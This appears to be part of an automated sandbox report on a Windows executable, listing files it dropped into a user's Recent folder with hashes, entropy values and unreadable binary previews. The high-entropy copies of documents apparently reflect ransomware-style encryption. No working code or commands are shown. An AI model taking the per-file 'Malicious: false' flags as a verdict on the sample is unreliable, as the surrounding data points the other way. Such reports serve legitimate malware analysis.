File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84294247858224
Encrypted:	false
SSDEEP:	24:rgG+nG2L1+c3fS9UjayX+oWXhcIN+X7ubuy+tmKFa92KEY1zLzbD:rgO2L8cXayuoWxcHwuPtU9/tLnD
MD5:	358D31FF7119C4E14E24F2F238E64A53
SHA1:	F760C4E21F526769D0206F27AE208DC5FF1A61E9
SHA-256:	53EC227ED276EBABAE2B1FFDE589E0E59E96B4C662AAD3A9118EA863E567C730
SHA-512:	3298C822FC20EE5F2811390A2A4E7E76088604DA4EECFDE90B2B65B5CC48F30B9723F5AD19334F025E66F0F57308C0B3ED809D54A77D246A35A22715ECBB7010
Malicious:	false
Preview:	RAYHIT6.....].W...X.\|.M.eG.u:lm.....v.L..k..!E.....f.....J.KN.G..Z"..>...i.d..,..\t..-....L...&.6.....wp51..y...6..!...5....^..U^xZ.+. .>.f......R.}.X.U(.>.e9..!..yZ..U.7e...y..\......1...rBTT<.?.V....y{.%>.....Y..t..z.4.z~..&.}L.T.=..eE...\J=......&7..@.0...p..]>=.#a/./.'...w....".......P&i?.)S.....O..(.Tl{....cR.z.D...w.\|4...+(sN.z.9H.1..# s..X)6?'E"+..L.....(..E.!~..f.^.X.;....c.-+)(....o.h[.}..`H+....`V.i.7.1.V..9..O...v...c.....p.j....H.<........N...\|=.h$0.1T.v.....x].3..._M...\|..b. \@.H...W.P..uL2z....\.....k=..1c ..5..(....T2.B[X.y...M..(.......V.EJs/.-. Kj.S=..v1.a.\2i..#.!H...ej....q..^.-.G...P....k.j...."..vv..V/...m.o....D..\|`{.e?....o...a..O.D.W....q...$i.DU.....A0{m.......)7.=)...:<\a...!....v.YF.....m1.N.o.S.2d...%Lg...N(.3.6%!HI%.Z.5.Q..5Q$.bQw..Z..w..............'.i...4.n.....^.<....4..M}.^.j.NU.K....-Q}A\.s.......Y..w..1t.k.k.R..i.P67..#.u...\......-...S\|n..u..1.ys.t.?S..2\gH...\|...hT.<b.]....O.5.?..'..S....?L./b"...........f..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848133895019844
Encrypted:	false
SSDEEP:	24:dv5nlAJ+rdlaUNxR6Q0WC5+cb6Ofcg2PPJim0CUeuFET3htLgaZjoMyEnbD:B5lAJEdlasxvY+Oxz9fJa3haaZOCD
MD5:	94EC578BBE54CA190C9B4BF8807BDB0D
SHA1:	AFB7068C33530CE1560F0B31CD879192479A2523
SHA-256:	BED2C172B4D189436EFA6959ABD8968015409D487DD365CE3543481055ACB58A
SHA-512:	17249A6E422FF358A9BE8CE232B9FA9B1BA370947D6B162B51447681A1E16399D35E284F6A273BF5820AD04ED62308DD970D28D0BC9FEBAC8480C4F65DF69738
Malicious:	false
Preview:	RAYHI..<Ot.....y....2K..n..q.\.I-l..g..^U...\|....`..d.boK<.....P.G<!..m......7Q..n\S.BuJ...{{.....>...t..YrD.._.c..g.....ci.....'..U..G....Z\z..8^A.......V<.6..;...AG.).[...W-...s.wI..!;>.D.r.......O...?4..}9a.n.{..u..........F../.O....E..+...D.V..o.F.Q....f.o..jZ86."$.J.Is..i..n.r..=..B.^..^L..@s.!/.p!.m.N...>u......x..t..p."T/i:.....6. .y..... .xu)p.".#..Jf.....'<.~..\|.L.g.......].[;.......;......x.....tsd..ox[./........b.C&.."..E....\|.V....9;J.B..]..S...{Q...!...4../...f..S....c....d).<."....^.=......C...f.K-.....n......q4.{...c.!gD.m...9m..d.)....b6.....wK./.q.@2P....i...%..l...s@ip%.=A....Zw.S.....Z:..D..5C.P...&.>y..u...2.<&.c.+r.v@.3.M...^.. V[.^}.c^.P..I..C..\|..ta...ae<j0-.v....!..d..c...6.ui7...Pl...5S.1..H.(....cY.......NK.....S..N.&iZ.<nqj..#$ZE.e..D..O.j>...8.'].9.....S.0.W^...\|...........7..$.u..CI.f....<..E.0..E..,C..k...L...Dr...P..&..7...\"L.1...\.......T..x2...K....=_\|..&j9. .R._S...<~ .!.8Sm8.r......fw.v^zM+[..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868458151758985
Encrypted:	false
SSDEEP:	24:dPkX7Gq2z+B0d7B029Zuc4ccVdhZCEVt/xz/UzDOACeXRkj54sbD:SJ260dt9ZGc6dr9B/mDNCqmD
MD5:	034A4D1CD44461A532A3DC514372F8F0
SHA1:	8F25769531A78339C6C8FD626FDB97778127EC8E
SHA-256:	0FF0FF010C7F97CE27142EB758779BE7BA60152C079E3760B7F15DF4866030B6
SHA-512:	85FC4A5C80D227D9D59C563B81951B3AD1BF8C687B7E8D4BF26644E3B2C503EBA7E6368E7D91713A7924427C3E974710A2EF0D5B0B67515A9EB598F3D0714E26
Malicious:	false
Preview:	RAYHI.d.3...{.tHc\|........k'..\|.@&.T.so.z..}kt..\|ZZ..$X....G....=.(A.z.v.&.1R....w.'+.X..Q.F..n^.....]_..E.....v.!.{RN.$b...-e.....]29MG...].9.......M..V..M..'C]..8....\........)........Jo.u.../.....l..INT.1.H....ep.....Sa.L../..fHg.:.l...\.p....,...9...-J:..........`..$...'...i.H.~2@..[.AR..z.u.........._B.....4.w.y..3.4~T.....(..q....\.m...`W......;.a..G.7.T...E......jS.....t....c.Vz.x5.3...../.\..b..r>...!'[Z.....[_T>.7.....(.]+.r..Q...K....P..X.a.,......)..{Q[.O..F:.....9.T..3...X...K/Y..HC..K.?..g;.-....Bd.`.Q..n...:.n4.(.p...iVV..tB....7...N.1x....QR..#.e.T..>(f.....\...r...1.g...6..P1.^..v.Q...)...&...!..s..I0.1.ge.fU.....`o7%.6.P..0.G.......!.E.x.s);.;t..9..\.<..O.....a.........[.\|j...9.Hi..\.A..4.Jm..Mu.h..!.5=)...Y^...P.,o.u..L.k3..7Z.RK.......,.....DO.X..au...a.P.!J...(m?.qf`.'.....0L,.M....UQ.[4$...>.x.u...q.f..h....{T.. w..i{F.4.... .....\..%^...lF...G..T=..Ag....Y.yB..x.....^.....#..L.@S5.......h....>`......,..4f._>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858041995188265
Encrypted:	false
SSDEEP:	24:NLhyBAWa+ojlgBQ3VUZle8i9zi2CuNvBelq00qL8kExA1IKbNosbD:3yF9axFUXi9i25BkoGL3sAWKZpD
MD5:	3581B3EED57DC5D9A800766298FB2E84
SHA1:	E4D7141CD5EB20F038C642B2D014D131BE916863
SHA-256:	08C12B3D59FF62054652EC25032B31F611AF6FD6DCDB22D72A942733F3CEFCCB
SHA-512:	B33A4206A1658962677D181D921A8F0890673D3CCE7FEE71D50DA38B58F9770F70A6FAE8A4DD6ADC11E574E8F9C03058D459557F3AE1449AA9D01C7D653AE606
Malicious:	false
Preview:	SFPUSL...j..D......'.GD(..I.T..m..{.U..F.d../p...].......j.)...6J.....$.......}u.U..7.....&........Wj0.X.A.#..,?~...Z.0......./..q......!.$.6..&.....i.^...V.R.....4He..5.X.z-....._oXm..@,.eZ...O\|.....~..7..J..3>.'UK..j.L`..E.Z.k.....@.#..Q0:.w_.5w....Q..d.Tz....U.T....vZ[0....yl1..s.l -....{.N..Xo.A._..CDG....4.(.KR.....$....a..........@.?..cHk......Z?.......c7..dX..xy.6...). ...[..@N..b.r.......M.GD......bD.s.z.....dt.......6..i....5.L...1...cId.9....l9....k..9.~..8.D.7...1........@..=...f.!..T.t....-K r....G.f.$gn.\.A:..w@....M7g`96+.s...=I-..V:.O<./6<.Ww5..wPqX.. u..%7.....m......m..OK&.+N...ht..H';.7..E..',...N.`t.[..m3o.?..3..8..!w..w`5y..70..._..$l....Y.R..~'l...B.G.0...8R.m....#.'.K......K...3\..go....NP.R.$C..O..r8m6...%....^......%.:.T...,...R_+a......vk....6R...b.y..9C:.zY...x..&...sK..Z..1.&P.$0..S......].}..`.#.tFp.#.vc..bP......N.t..,hs'!A..-...e...O:...S.p..RH.E.... Z.w..<.t].....r.8.y......C.._%..r.`:.......F0...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876254688305198
Encrypted:	false
SSDEEP:	24:GQB2TDugKtPjkTLQ9fkks0bohHBEnK5/yr39diVbi32lZMsJ2KSovl+yHC9aWb3I:GadgaKE5bopBEvt4V23GZMxfwl+ACwWM
MD5:	BF60B260AAE14BD58CE6E814D6871C7A
SHA1:	FCE01C5CF07B6644F2826586E5BBC92617280419
SHA-256:	F3B07DFF13A6D0756D0FFD44F725AD68E86528644F0FCBF58EED39C615487885
SHA-512:	DC842580030E9C0467677F05E15662587103FF14179B6F7304E2B378C85D765035EFBE2AF0EE037BC90B2283455D28D112E9A632CB8AF41440D775FD16CF8F1A
Malicious:	false
Preview:	SFPUS....(^.(...Q...F5#}U.v.._..w..?x..^..TaD.....i..Z..{......W......#.Y.7C.f.x.B....H{1.2{{.[j.vA.d9.....)Q.D.G..N.....h..O.p......f....n.)b.e..4.d.Ep7.'(...3o._.....m.....E...o$.L.;..h.Kx.shg.C.R.]...V......q_...]....`i.%O!..o....-...;+...lW.p#J....&.+.?.SCIc.Z.h.DuT..^j$k&.(.7K.T..t.c.X1..x.K.5..i...%gsx.m..Vi....#.x!n.p...2.......A....eE...N.p..J.[.....g..C.0.P.!..\...T.r..0x.M.N.a..H.....T..x....ILv...nC...!J.P^.v..._....h.n.@..gNY.]}.:..(..0p..>....m...~...B l.....@.......p.DGS:....J.\|.'AD..V."..T.3o.~dzp..-.p.G.1.I..%O.O....<.\.0..Z.]9C..,...>x........k\fO..v8..8;..Y.pb.s?..v=......Q..K.[.t...f/....R..!.KK.?=q.........s..>..qx..=m%5n..7.)c....3L.I.v.<v.g...;..w.'...g...lO.y.Jr.}.sa..Q.b..?..,(...).....{^.(Q....zT\|.a..D.ge...A-e......~...0....m...+..\|..5..A7m..%C..>...FB4...q[.~....]..pF..b....Z.b$..R(}C.z/oA....X....C<....ov..8.. ....Qs.JV..zYC..<.......[....9..hQ..3.FY...<."....,JUc).."y..cz.s.w..f.{.E......+..9+"....s.S.0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83914511599014
Encrypted:	false
SSDEEP:	24:JEicEIzGMJV06gveyCi+P0QHeNnA08e86cuGXd5oVS8UVLwVCu82hkEhrzUP+A6a:aHyOSeRj0QHunA08JZt8UVLk+EBgP+tY
MD5:	1B877FBF9B6208F8777DB51518AA4751
SHA1:	59A87474EE09A38CB915FC3E715C2DB82AA64B19
SHA-256:	C6F554012A21AD9B735F2A14976E0B9EABF15C641E6EBBB56E377C32EB4B528D
SHA-512:	DEAB933367DFC6A87F148B3BA546A99B8EC83BD00AEAF477DFC631A7644378AC59DB20FFE22AF3D2904E8EAF9DAC43F3F549687DA0D49DF01A9A3857EA67F19D
Malicious:	false
Preview:	SUAVTOp.e....j..P:.....8e.3.\|2.X.....n...o......Y.Z}...q...zA......p 4.8.!.scdX.5rk...q..........Le-.....<.:.;....... ...>......W.?.y.1Y._E.cD.:..7..8h..>..J.T..n...M.@]6..yv.h..s...I.-.x......../:O".Sk2~._.X=kv&1.a.W'.......O...\|8[>....l..E\|_.e.ZCJ...v...!.p....E.5.!.........(T.....9%.......Z...2..ar...nN...0x.l+.%Q.m...Fx:gm_l(=.....l...Ygx.C..R^+...t.8..Y]....Z.%\|?..].F...{.o...`&Y(.>.&..2.;l.../.JaY.O.V;h.D....dvyJ.Ttk..U...N.m....^^w.5..,>..q.i.....;TE ..2..g...^V..(..oB2.._....s.......u.r.e.:.......Z5rX.].;L.Z.9.z..IK..K..E..c>.Vx.N...2..gy+..$...a.k.....oN.....".+z.....9h.y>..9.Vw.....0....D.SGK<a%......&.#M......0$...kW.YR,T.m=~.......0.,b...x}M.Q...Ne.e\f2..u5.L...).Q.on.:.`......J...5!.N,P.9].U.t.mX.$.gb..`."...W.......(....vC....^.#.T.e...@..Ox..a.u_r....jQ..\...6.....su..../......W...%B.......`X...}B.....`n9%..,......E#P..4..tQ.j..H......+.B.A.@.;*Vy...>...7.e...$.......8..7.>.+.\4.>..7....<.......+...Q....z...ldSo......>J.I.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847352562037884
Encrypted:	false
SSDEEP:	24:YOEFi7PNZy1xh+FBiHpLpB+cAUI5KciButcWAffDKzLOFrbD:YOvPN4h+FBiHp+cJ9ccHfWGdD
MD5:	68D3152E3ABD68DDEE16DC1AF08B8DB9
SHA1:	563AE0FF7531340AF5B2E9C5A230CD37A67EE314
SHA-256:	D5175E735DC6A316D270842F2D989B32C3A1CA935D9BA515BF9D1B76F95FF859
SHA-512:	59EB15AB0F3A96CD31B36BFFACC556D8CF875FB68261F52773B844A30E3F0B5A37104E9D54290240B7EA016DB713696956E7DC8E63720E1CAD4E4E83FDC39ACC
Malicious:	false
Preview:	SUAVT/~?.~.e.uz.3.N.~.....).s.u......B%.W.~._2..?...e]E..d.Kvj.........D....CQ..^.0o.$....@.U....x..5...........$I.@..r...#4..U.E...X........C..=j .%h.f.....J.Z...^..>o.^....DFd^..y.+c.aJrR.._F.8..H......<$...V..`A4J.A..T...].8...=...........}.h.J2.....[!.O6..b.... ..`....k..>.K.4.../[.._v2........ETx.U..L..x...u..E..2\|4..B.....^....h....D.Y-8B...c...t.:. ....7..V.^..8).._.}.6XV.$..l ..N.....2...2@.....8G..v.A....}R.iPe-;.......Xm1....w.....m....95\|s.\^A..3.&9=8...%K....^..zw.>...'..4.$_&p..[.Ik...Zn..L5.5......h....]S.....e.-.h.0$^...... ....F`.~...6...[l......j@.^..w(......"...P.#....[.....W......a3,......n]..$.<9%..O}c.......f3....O..\|.(.#9..Tq.T...B...j(.a;..<q..r....c.....7...i1)....{W........e.%8....\X2..40K.Y.vQ#C ..Fj..!q.....$...d.c.+C>.....\Kd @c....".....S...v....".....P.0...Z.>..k....]\.9E......tt(...{].M$...5.ZT...7.......$...t.N...$......,.r..7.x.........2...}..K6"..^..H..`..A..1.$(]..._...,..y.^z...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856271582449062
Encrypted:	false
SSDEEP:	24:LqSc45a4P6RCXLcUCvDySAst2JvzKYZYCrUpCr/qvMG6d9p+yPLQ1xi0HbD:LPc45afCXodjAst29ICAo/Dr+y4H7D
MD5:	C8FB16A5A5053B5B2282193040E964EB
SHA1:	1D9B8103FDC5E9978781A477CAA031FD44179D56
SHA-256:	18FCDBDC2CC0AFA16128847EC0824351AC5D43F37160147365C373D1830FB778
SHA-512:	E9B5AF7E695B26E4AD77D9209667514B8F9AB9972A4DBABFFBF5A49E72C350FE627BBD8B6936DD3BD18D1FEA43B425C99C82E8DC3A40D6A937926E6DCCF11F16
Malicious:	false
Preview:	UBVUN...e...$...UF..gc.... hT.D.5.....:..WtE6"..\u..B.H.....w$^X...!...%..>.].s...Sa......T..l.4..0...y.W..e.,H}&...g1...c}}....k.....l~...r........w+.......b...6........$l.y.M...5.;L....@.{."...J..w..........`....).X.L.\|.\@7zu..)...HDJ.."..!.'...q`...e~..$}..3N2.y3..)...90.w.H...(.&,t.h..F,..J...]....U^^.).k....K.2.....k.HJ..B5B.G#......#..2G. sA.@....w...I........N.^.K.'.....RK.....N..;.F.,......S.......].=k.Y.BXr...Er...kP...l.6..H.VO_!C........\...g.`g.7..@........Wv[O..Rqa5...^.. ..&....`.....A..&[.O.Cw....`.\|....w)).".S./\URG..f..uqi! ...u..J......6.S/s..W......<s.g..U.7..'.n^5..T....\.Zo..{.o..h...?.....:D.c...Y..}1.e.....7W.....\|.b....Z..8.%%.G..1.#I..IC......Z.LVD%0_y......Z.-.J.....;...d5.$vCH.R.;K\|.....xku.,.....B.^%.[.x....)Y.L0.O'.T$-.....j.z..s. .....\|..;<{.L..\|-....G.....s.x..K...x.....[..._A36.. .2...U4s..%...=./-S.GNg{.y..k..........x..........}...[...)[;.0..c.$v [.A....e...Y..^...&......-.X.....FG?...G(..Y...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828953057466789
Encrypted:	false
SSDEEP:	24:eH+LA5gCRHTkK08qiPep4ER7HJIljnqDPTO7EUfJjx4miD1RzhuabD:ee/CtTk78q6etH9Dbux14miDUYD
MD5:	E2857CD9C7B43A893A17FD43090F50DC
SHA1:	BFE4682526E07B40E78DA55E00F82125A42D5668
SHA-256:	22216012670C80A8EB96C2EDF01D12FBD6B6DA8AB6C321CBC1E6083A946D44FC
SHA-512:	A163AC411E7749A0CDDA38756705CEB7C8577D728229055989AFD881A07A138BD353B8B59081CA6E9E3A06B61570B17D74EF933854D45F63A557F1EC472586E1
Malicious:	false
Preview:	UMMBD...m.#.`k....O.2.y'g.iE% J...A..g9A....".v4.O...q..).QI.NA5..b3(.Z"`$b0.P[.[......J..+......y.E.VTHG....C......:..u8.#..JP.S_...^B...]..vuq-..F.Z...I.. ..#_.S..3dx....Z0....5...}S..>.....r:G\|c<....@>..q.o..&........6MH.'....}.x5.:._.E)!1m6x^b8...N.}....^k.}.Um0.w..k.eQ..+.=e$....l>o.4....r-.N...........ZHB_...=..~.(l<..b..T...Z....l...&)..e.....i...~.gid`.G.cq...p\|.M...H;.L....d.gs..F..(._....e......q..1.+...cmb..>...N.-..x-C.Ch..R.....H..#..6\....U..p]V.........._.v.."...A..........cipmX..s.....O.=............i.@...A....".E.X............Bx..-.\|u........O......[..c-.q;.i...~..AT...&w.5..cE@..~.#,U..._...&7z..U.<../.{.....he..M(qH39B..I...59OH....{.._..h%5-...mjM\|n...^.4;.9...F;...L^"(.vg.Y%...Z..6...ZB..(d...ujS.>..5y....2/......G.....5#.XY..........8./...).....?....#.VU.c......^%3....w.I...s.......]m..8...e...n.i..@.(..>2...Ow...d8.Ou..-..m...7.Q.\..?.'G.v..]o.W.....]..I.o.....Ys.......c....C....E...X.....(../.B.A..=. .....[xkU.i +s"4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850449276611608
Encrypted:	false
SSDEEP:	24:lOEH9upWluGT+q9+ApNE6KqB1SvrMW9AUQ4U+D5By6VEwNAbD:lOEH9luGT+qkAN1SV3fcVD
MD5:	C53F06FD763A48BCBC4107945AAF9BB5
SHA1:	56663EAA5F1407EF85D80994F26E9245A4D9068D
SHA-256:	7854E3FB5098E964D876AD8CFA767FAF9A0850F98172453AD7CA20FEBEB586D9
SHA-512:	3C68E55CF1F1FE73DFBDFB528E92E8644E6935D86ECB00D2DC374C7311D39A69C2CA8C044C4154CDC84F931A535AF4B7C5BE20E5B7858FA58CA22B0DEE57E438
Malicious:	false
Preview:	VLZDG....`...ebT.z.z......^b...G...5nb.B.......@..W.y.w.{.C.T.......@..%......G.#.S1..o4.Q..B.o<./xQV=`#..v..5....[F...?n.;..I,k.0.H.h......).}^!.[.........#8.c...0M.....)./..3.....?.R@...o.@...._.t!m.-.FO<,.x,.x..&........Q..m..R....ie[.[W&$..\|...\..c......wD.a....zWuw;..s;.AT.x...J... ..#e........F1..~..&...OD%[q}....0..{...b.o....ZN\|........!.....n..pP..........9.6...9.G~gr.g9..!..B...;.B.L...s....45...1qai]\IV..f-.l=.P.....?o.(..n....<"...T..............O..n.lR.......8..0s...}...F+...[.a....n.d?.;...N..^....u..k].B/...0..s<..a~.....Z...=........u%.e..Wr...=..X!z.i]k..j..9..%.f5..<..}....u!h....)..-^..\..G`...`......;tz#.)~..D.......i~z"3.X4........t.Z.....g `.5.....A..2....J....a.y...1.........(..Rl...X.7..'t.e.Y$...........#T.......O.mW.@@O`.0."..j$"l.6o;.boq.tmG6..}.}...Ml.........Z..P...{...r.D...H.e.f.m.<.7..%.k..x.....).}.o.tK.x.h0..!T....c.p.....L..[O...!bG....ZKY..~..k...1.l.....a..x..3.x.....F8.>.....B.V.F.........=.j.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839356797264087
Encrypted:	false
SSDEEP:	24:eLDHvSjOGMPSkIVdwuZydgaXf9LJNP3u6Yy73xR2KmmkRtKieBg94avhIbD:envnPSLodgif97JYy73xR2SBYvhSD
MD5:	C6F5434C9FB9930BB9A907EC0E857C79
SHA1:	9757F0AA6160FB51AE3842476E03485E9BA73A29
SHA-256:	4438570E74F3117E31162757984EB9577D220C290B9B43F1D70140971ADB834A
SHA-512:	3A11C688F01B1FE6745B0037DC364845FF0D2B3A1DFBC013698662060143396CFC77E57CAF55999717E4747AB78939F237635ABEBC55B5E28B619D3CC559B720
Malicious:	false
Preview:	VLZDGG...w..(...........5W.Fg......m.6A.....V29....8a....J...#Srw.-\h..r.._..>....\.Ze...1fA...U~...I.%cF....hy].B.1..m.'.3Y...n.,....n.R."..9....A..y0....\XT.vr..]..U7..D%.....@.~.zM.........y...(.w...GTQs..w.....o......H_1I..g........s.b..@.F.d\.U..6.m.C.D...lq.RP...\|.c......6..M.8.x(.5..._..;......ezi.F.f....`.Q..S.E~.xJ.h.0?.".S..xl..X......-......MT...C.z..g...................[;.....UZ.dh.3.......{...../.....i..Jr.."..O.?./.A.jzk."w.SJ....dnk...D. .)...0E."...Li....;..#....{Z.-...aI...xP..%R`8zT.H..FdM.(......G.......5..L..h.......'.ow.DO.....5Y..M.w.>.......G&.'5..s.}.4.Q.......:X....Y 0..-R.......M..4>..l.../l..x;3.#EV-....e.:..d3.l(....+.nFo..R\|........:)N.q.!.q&L...eZ.C.h.D.60.iB.....xf. v QXd..#.....O../.<...Rf\&j.]Kq}$.Gnh.q...?..3Vw.)h..]t..AH..o...u......2..n..V.....o..?[..Gn\|a...jtR7..z...,.P.[..........V..6...sV.y.Z.~....X.Od..u...P.O..t.".GD8..hT..o..jy.L....D..%O=~..D..\**....../..L...X&.J1\|Y....m.......]./a.~.....YaQ.}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853177062379824
Encrypted:	false
SSDEEP:	24:Uh228F3rqRgSzHriIHxlMhGVKBiDmlJnS400k+iPORmqwnyY9jqPbbD:UM3uRgDuJ9QnS4fxwqEsD
MD5:	6D342ECA7A21F9FA30D6831250730CA6
SHA1:	86945D52286FB25B69ADC5645306EA3647A0A4CE
SHA-256:	34C4DC40AFB4DD6A70256DA8B98E14591E4D7F31689A68E3C9EACC17E5FCB27A
SHA-512:	8BE256414DEA4E567F5E598775D4D86EF80E5BF5F6A44728ED6296F3C8285C223E7D7D9FA177F8FA3780E4044342D6B8D4D6E67B9DA19E88466AA6C0CE0F7EE6
Malicious:	false
Preview:	XZXHA.M?RT..G.....M.Y.VW.w..!\.L.]...Thw..--K..'j.>).5.m..X_.FR...Gj.....5V....G.]..8..k..C...uc..BXV......u%.z.&..z..V./..6.(.e.d]...f\..}.@.(...L....O..'.p.....(0<j...8....o..w........'r.X.....}.pME.dg.1.._......O.....{..s..x.O.Y.%..zC...H..n.i.=.P.n..m^..a.dxP=.!...3.I...:Z...4..G.t.;x3......+...\]!=..k....=....ZD.@.z...R...A..=.z.i..&k..M..d5y.s.._...d.....8=t.r....I.wIRsNp.q.R.........0....N...v.j.>pZ.9./...w.....z>e...)a..1......gW!.:=T...#....-V.xS.X.h..k.Vv...r...` .n....\|?.....V9.....@.+.........A..1....F...R...S..._.W..._...].O-.._^..Z.SM.Ck._.z.z.P.q......:..yd.s.+...G...e.T,_..].q.y.n.t....=v.5...m...4G.+..Z0C.i6..L7..$.o...2T....n....\|..xK6...kX-..`..cc..P....{....*8...a.`.../7.cl.......z..jJ...th...F..l.b....2T_v.e..f.d..g..GA.#.....0...x!.%...M.]3.'.tFU....fo+Yl.!...6jZ.b.c......V..Q.K.X..x..6B[.-.?iw..k.m!........CUO...{.......d_.s:w...L/L......?..:S..H.....:.....Z.:,..N.(T.g..r...I\.........q6......R_vzHi.:.V...]......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85564285224228
Encrypted:	false
SSDEEP:	24:MAZNTdYrH/PoHVDMe0B4aTS10v80hJe0Sy6Vslo8BB9Rq+Pkn4m2bD:My7+/PolMe0GaTK90hJe0/1lrBBbDD
MD5:	20E8A355982B0197E4229FAEC7FE61AD
SHA1:	D6AB7946D5AF8A1974BABC558122033908D01A9C
SHA-256:	D8B3CE1F5671899CFE039C3963EF36FB8B2380212B341D8A866B3F9886A26239
SHA-512:	7DC26F008B68E7DDD1EF50749E7891F81B6C3A4A243ACD6CB2956CA519E56C07D26F0AAAC97C2F00908197BE234333B8BD8EEDC6DFEA25BA820DD10EF6ABEF90
Malicious:	false
Preview:	XZXHA..#V..8F_"<.....I...Ru....S.y....0....ck.q.......c..>.Glb....8.R....>..h...D......E.G.b.._K...CEU...G2Kb......@.+9...U.sa...a......%....%..c}&...$.W0........z.@.6#~.f..j..vn0...qz..n&k....[.;.b.B....U$.P..,p.."....3...'...E>).L...x-4.#p....&.\.W..@...:G.9..n...ido..v>..@Y..B.HY.....uNF@..'..).......^I."`p..'..u.u...)0....F....9......H.....:........A..Sa....k.V.H...&>G../....l.rz...C6.....Z..k\|....Ou>v..UB......[.i^sn(.grb.w[Q..OG.8F.\|..l\|..@.\|H..t....=..X}.G`.....3.t....=.q...E3.a;..ze..M...$H.......7..Q<L\|...&j.Q?.G\|.b.k.A..g8.....<k..x......,0YF.Zc9},...R3.z.6........ee\|..6.M.5X...'EJ.v..........0R.VY.1.~^6.Z..y..{...k...j_)....N..6#..[..-....+Q..O..%...i.B.h... .. .2.... ..0h'...HH\...R........'\|.B.Z4G../.U]Y...d.4.D.k.\|._..P..lDt[.".>.)^C..'y[...!.B.....u.}\...Z..Y.H...L.1./..G...{M.....vC.'.V.s...w....\j.....:..fg.-...:7.HX....b0/ .?.EP.(....CS]..B&q....B......O.=C...\|..tq..&`.M..L0.d..!.).i@...u.N.b.e.....T.e.$..*I......K....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846534493685282
Encrypted:	false
SSDEEP:	24:5fg/WK2tE8XJN78RJQQOokXAaogZzTthmwLpe3dt7+LCrA7jvZt8Ndtvy+rRI5Mt:5IitzXJMOZocxPZVef7aVzP8nRkMnMUD
MD5:	7357B6A3097219A3EA3EB2FDDA31B49D
SHA1:	B8605B020366ADF8B1F6CD04EB087EDBB4DEAE14
SHA-256:	6FF2D2FCDBB07BE72C0448932D52ABA227DEA6CE4AA1142B0AFE973519D3E70F
SHA-512:	13636069448EEBE1C2E49263DA8EB71D3AC7D956C70102C611B7C960D1BEAC9574AE8BCCA3C3978BC85515AA6C6411FAA6B09AA21CBDEF4032D1E34AD8B0453F
Malicious:	false
Preview:	YPSIA{"(.Odmc...-A..6@.`..Z3..`........ij.D.{.'r...o_.M...c...w..j...<...H..@}.."[..39_...s.....B.A.x..N....3e.y...).FPJgB.w.N....D...)i.L.T.T.....wG..s.D...UV..s.q.^..IA.d..../..Q. ....X.......'.._.z.L.H.0.k..s........^X..^N..u.._n.....,.........`GYFb..M..f....J.S..T7w..O.~NGt......Lr+......<.2...X.R}~..I.R...\|@........\|.;...6...7..<j.....}.J...Dhp...23....."..z...V@?)>K`.}A<.J:..8+.PtO.+DX=..wkX..._.'.\|.Y.(fq_.....@.N2..]e&...?2...iI../g..wW.....f7...+..k....bQ...T!....t..........wn2...8..l+IV!.k..=...63...b...Q.F.x7..x.).3....M.kn...q.Wf....?..b...,.....`-#.....=W.....z.o.........b......zw.].....b....yv.$........i.......d.].b.B...].].q..y.k._.N..R...4K.5.I......%...q.Z.n..G=Qa...(%..z.E.t.:.o.$:.....?+.y3../]~A./z-.....O..G.1N._......?1.(.K./..+9./...v....D.Z:....\|.6F#j..P.N..Y...t.......Sg\O5.*L..l.~...&t.,...%..U.....x13...,M..-f..=,j.n.-.SD:.E.%.+VG.D.....K.+...N 